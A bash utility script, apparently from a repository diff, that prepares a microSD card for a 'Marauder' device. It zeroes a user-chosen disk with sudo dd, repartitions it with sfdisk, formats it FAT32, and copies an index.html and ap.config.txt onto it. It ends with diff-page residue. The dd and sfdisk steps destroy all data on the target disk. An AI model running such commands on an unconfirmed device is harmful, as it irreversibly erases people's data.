echo "WILL WIPE DISK USE WITH CARE"
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block="/dev/${disk}"
if [ -z $full_wipe ]; then
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
else
echo -e "\nZeroing FULL Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=32M conv=fdatasync
fi
echo -e "\nCreating Partitions on $block"
sudo echo ',,b;' | sudo sfdisk $block
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
lsblk
read part
partition="/dev/${part}"
echo -e "\nMaking FAT32 Filesystem on $partition"
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
echo -e "\n$block Status:"
sudo sfdisk -l $block
echo -e "\nMounting $partition at $mountpoint"
sudo mount $partition $mountpoint
if [ ! -z $copy_files ]; then
echo -e "\nCopying Minimal Files"
sudo cp marauder_cyd_microsd/index.html $mountpoint
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
echo -e "\nListing"
ls -lah $mountpoint
echo -e "\numounting $partition from $mountpoint"
sudo umount $mountpoint
fi
echo -e "\n\nYou May Now Use on Marauder"
Regular → Executable
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File
View File

Some files were not shown because too many files have changed in this diff Show More